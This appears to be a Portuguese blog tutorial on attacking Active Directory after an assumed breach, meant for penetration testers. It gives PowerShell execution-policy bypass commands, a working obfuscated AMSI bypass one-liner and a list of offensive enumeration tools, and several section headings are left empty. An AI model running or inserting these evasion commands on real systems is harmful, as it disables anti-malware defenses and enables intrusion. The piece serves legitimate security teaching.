Posted in: Active Directory, Segurança

Segurança Active Directory

Neste artigo vou explicar as técnicas utilizadas por profissionais de segurança offensiva para explorar a segurança Active Directory. Antes de iniciar qualquer tipo de ataque num ambiente com Active directory convem perceber como funciona internamente para evitar um crash geral no controlador de domínio de algum cliente. Cada tecnica e ferramentas usada neste tutorial ja existe no sistema operativo Windows ou serão scripts Powershell que irão correr directamente na memoria do sistema a comprometer.

Brecha Assumida (Assumed Breached)

Neste exemplo o profissional de segurança ja conseguiu acesso á rede com credenciais de utilizador limitado, apos autenticar numa maquina começa a jornada para conquistar toda a rede e ser “Enterprise Administrator”.

Mecanismos Locais de Segurança

Para dificultar esta tarefa a Microsoft preparou alguns mecanismos para manter a segurança dos seus utilizadores. Nós como profissionais de segurança temos de conseguir ultrapassar estes mecanismos de forma a conseguir escalar os nossos privilegios na maquina local ou no dominio.

Permissões de Execução – Policies

Muitos administradores de sistemas bloqueiam a execução de scripts na Powershell, existem algumas formas de fazer bypass a essa politica restritiva.

powershell ExecutionPolicy bypass
powershell c <cmd>
PowerShell

Using Encoded PowerShell

powershell encodedcommand $env:PSExecutionPolicyPreference =="bypass"
PowerShell

AMSI – AntiMalware Scan Interface

Após ter uma shell Powershell onde é possivel executar scripts outras limitações podem ser encontradas, uma que geralmente esta sempre presente é a AMSI da Microsoft, detecta e bloqueia qualquer tipo de conteudo malicioso.

AMSI Bypass

S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
PowerShell
https://amsi.fail/

Constrained Language Mode (CML)

Ofuscação de Scripts

Sugestão de Bypass á segurança da PowerShell

Invisi-Shell

Com privilegios de Administrator

RunWithPathAdAdmin.bat
PowerShell

Sem privilegios de Administrador

RunWithRegistryNonAdmin.bat
PowerShell

Enumeração

Como profissionais de segurança todos sabemos que a fase de enumeração é a mais importante, principalmente em um sistem complexo como o Active Directory. Antes de começar a enumerar convem perceber onde e como vasculhar oi cantos do sistema.

Para esta fase vou usar comandos CMD sempre que possivel ou então usar o script PowerView.

FerramentaURL
Powerviewhttps://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Pywerviewhttps://github.com/the-useless-one/pywerview
PowerUpSQLhttps://github.com/NetSPI/PowerUpSQL
Invoke-ADEnumhttps://github.com/Leo4j/Invoke-ADEnum
BloodHoundhttps://github.com/BloodHoundAD/BloodHound
adPEAShttps://github.com/61106960/adPEAS
Ferramentas para Enumerar Active Directory

Dominio

Utilizadores

Grupos

Computadores

Back to Top